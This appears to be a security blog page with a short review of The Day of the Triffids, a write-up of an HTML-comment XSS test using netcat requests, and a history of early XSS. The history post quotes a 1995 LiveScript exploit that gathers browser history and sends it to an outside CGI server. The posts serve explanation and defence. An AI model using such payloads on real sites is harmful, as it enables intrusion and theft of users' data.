-
When a day that you happen to know is Wednesday starts off by sounding like Sunday, there is something seriously wrong somewhere.
Bill Masen’s day only worsens as he tries to survive the apocalyptic onslaught of mobile, venomous plants.
John Wyndham’s The Day of the Triffids doesn’t feel like an outdated menace even though the book was published in 1951. Furthermore, the central character’s initial condition serves as an excellent hook that gives both a brief history of the triffids and underlies the high tension with which the book starts off. Where Cormac McCarthy’s The Road focuses on the harshness of personal survival and meaning after an apocalypse, Triffids considers the ways a society might try to emerge from one.
The 1981 BBC adaptation stays very close the book’s plot and pacing. Read the book first, as the time-capsule aspect of the mini-series might distract you – 80s hair styles, control panels, and lens flares. But if you’ve been devoted to Doctor Who since the Tom Baker era (or before), you’ll feel right at home.
• • • -
Here’s a case where a page has one of the simplest types of XSS vulns: A server echoes the querystring verbatim in the HTTP response. The payload shows up inside an HTML comment labeled “Request Query String”. The site’s developers claim the comment prevents XSS because browsers will not execute the JavaScript, as below:
<!-- _not gonna' happen_ -->
One exploit technique would be to terminate the comment opener with “ –>” (space dash dash >). Use netcat to make the raw HTTP request (for some reason, though likely related to the space, the server doubles the payload1):
$ echo -e "GET /nexistepas.cgi? --> HTTP/1.0\r\nHost: vuln.site\r\n" | nc vuln.site 80 | tee response.html ... <!-- === Request URI: /abc/def/error/404.jsp --> <!-- === Request Query String: pageType=error&emptyPos=100&isInSecureMode=false& --> --> --> <!-- === Include URI: /abc/def/cmsTemplates/def_headerInclude_1_v3.jsp --> ...
You can confirm this works by viewing the HTML source in Mozilla to see its syntax highlighting pick up the tags (yes, you could just as easily pop an alert window).
The server is clearly vulnerable to XSS because it renders the exact payload. The HTML comments were a poor countermeasure because they could be easily closed by including a few extra characters in the payload. This also shows why I prefer the term HTML injection since it describes the underlying effect more comprehensively.
However, there’s a major problem of effective exploitability: The attack uses illegal HTTP syntax.2 Though the payload works when sent with netcat, a browser applies URL encoding to the payload’s important characters, thereby rendering the it ineffective because the payload loses the literal characters necessary to modify the HTML:
https://vuln.site/nexistepas.cgi? --> ... <!-- === Request URI: /abc/def/error/404.jsp --> <!-- === Request Query String: pageType=error&emptyPos=100&isInSecureMode=false&%20--%3e%3cscript%3e%3c/script%3e --> <!-- === Include URI: /abc/def/cmsTemplates/def_headerInclude_1_v3.jsp --> ...
I tried Mozilla’s XMLHttpRequest object to see if it might subvert the encoding issue, but didn’t have any luck. Browsers are smart enough to apply URL encoding for all requests, thus defeating this possible trick:
var req = new XMLHttpRequest(); req.open('GET', 'https://vuln.site/nexistepas.cgi? --><scri' + 'pt></s' + 'cript>', false); req.send(null); ...
The developers are correct to claim that HTML comments prevent
<script>
tags from being executed, but that has nothing to do with protecting this web site. It’s like saying you can escape Daleks by using the stairs; they’ll just level the building.The page’s only protection comes from the fact that browsers will always encode the space character. If the page were to decode percent-encoded characters or there was a way to make the raw request with a space, then the page would be trivially exploited. The real solution for this vuln is to apply HTML encoding or percent encoding to the querystring when it’s written to the page.
Set aside whether the vuln is exploitable or not. The 404 message in this situation clearly has a bug. Bugs should be fixed.
The time spent arguing over risks, threats, and feasibility far outweighs the time required to create a patch. If the effort of pushing out a few lines of code cripples your development process, then it’s probably a better idea to put more effort into figuring out why the process is broken.
Notice that I didn’t mention the timeline for the patch. The release cycle might require a few days or a few weeks to validate the change. On the other hand, if minor changes cause panic about uptime and require months to test and apply, then you don’t have a good development process – and that’s something far more hazardous to the app’s long-term security.
-
Weird behavior like this is always interesting. Why would the querystring be repeated? What implications does this have for other types of attacks? ↩
-
Section 5.1 of RFC 2616 specifies the format of a request line must be as follows (SP indicates whitespace characters):
Request-Line = Method SP Request-URI SP HTTP-Version CRLF
Including spurious space characters within the request line might elicit errors from the web server and is a worthy test case, but you’ll be hard-pressed to convince a standards-conformant browser to include a space in the URI. ↩
• • • -
-
The Hacking Web Apps book covers HTML Injection and cross-site scripting (XSS) in Chapter 2. Within the restricted confines of the allotted page count, it describes one of the most pervasive attacks that plagues modern web applications.
Yet XSS is old. Very, very old. Born in the age of acoustic modems and barely a blink after the creation of the web browser.
Early descriptions of the attack used terms like “malicious HTML” or “malicious JavaScript” before the phrase “cross-site scripting” became canonized by the OWASP Top 10. While XSS is an easy point of reference, the attack could be more generally called HTML injection because an attack does not have to “cross sites” or rely on JavaScript to be successful. The infamous Samy attack didn’t need to leave the confines of MySpace (nor did it need to access cookies) to effectively DoS the site within 24 hours. Persistent XSS may be just as dangerous if an attacker injects an iframe to a malware site – no JavaScript required.
Here’s one of the earliest references to the threat of XSS from a message to the comp.sys.acorn.misc newsgroup on June 30, 19961. It mentions only a handful of possible outcomes:
Another ‘application’ of JavaScript is to poke holes in Netscape’s security. To anyone using old versions of Netscape before 2.01 (including the beta versions) you can be at risk to malicious Javascript pages which can a) nick your history b) nick your email address c) download malicious files into your cache and run them (although you need to be coerced into pressing the button) d) examine your filetree.
From that message we can go back several months to the announcement of Netscape Navigator 2.0 on September 18, 1995. A month later Netscape created a “Bugs Bounty” starting with its beta release in October. The bounty offered rewards, including a $1,000 first prize, to anyone who discovered and disclosed a security bug within the browser. A few weeks later the results were announced and first prize went to a nascent JavaScript hack.
The winner of the bug hunt, Scott Weston, posted his find to an Aussie newsgroup. This was almost 15 years ago on December 1, 1995 (note that LiveScript was the precursor to JavaScript):
The “LiveScript” that I wrote extracts ALL the history of the current netscape window. By history I mean ALL the pages that you have visited to get to my page, it then generates a string of these and forces the Netscape client to load a URL that is a CGI script with the QUERY_STRING set to the users History. The CGI script then adds this information to a log file.
Scott, faithful to hackerdom tenets, included a pop-culture reference2 in his description of the sensitive data extracted about the unwitting victim:
- the URL to use to get into CD-NOW as Johnny Mnemonic, including username and password.
- The exact search params he used on Lycos (i.e. exactly what he searched for)
- plus any other places he happened to visit.
HTML injection targets insecure web applications. These were examples of how a successful attack could harm the victim rather than how a web site was hacked. Browser security is important to mitigate the impact of such attacks, but a browser’s fundamental purpose is to parse and execute HTML and JavaScript returned by a web application – a dangerous prospect when the page is laced with malicious content inserted by an attacker.
The attack is almost indistinguishable from a modern payload. A real attack might only have used a more subtle
<img>
or<iframe>
as opposed to changing thelocation.href
:<SCRIPT LANGUAGE="LiveScript"> i = 0 yourHistory = "" while (i < history.length) { yourHistory += history[i] i++; if (i < history.length) yourHistory += "^" } location.href = "http://www.tripleg.com.au/cgi-bin/scott/his?" + yourHistory <!-- hahah here is the hidden script --> </SCRIPT>
The actual exploit reflected the absurd simplicity typical of XSS attacks. They often require little effort to create, but carry a significant impact.
Before closing let’s take a tangential look at the original $1,000 “Bugs Bounty”. The Chromium team offers $500 and $1,3373 rewards for security-related bugs. The Mozilla Foundation offers $500 and a T-Shirt.
(In 2023, these amounts reach even higher into the $20,000 and $40,000 range.)
On the other hand, you can keep the security bug from the browser developers and earn $10,000 and a laptop for a nice, working exploit.
Come to think of it, those options seem like a superior hourly rate to writing a book.
-
Netscape Navigator 3.0 was already available in April of the same year. ↩
-
Good luck tracking down the May 1981 issue of Omni Magazine in which William Gibson’s short story first appeared! ↩
-
No, the extra $337 isn’t the adjustment for inflation from 1995, which would have made it $1,407.72 according to the Bureau of Labor and Statistics. It’s a nod to leetspeak. ↩
• • • -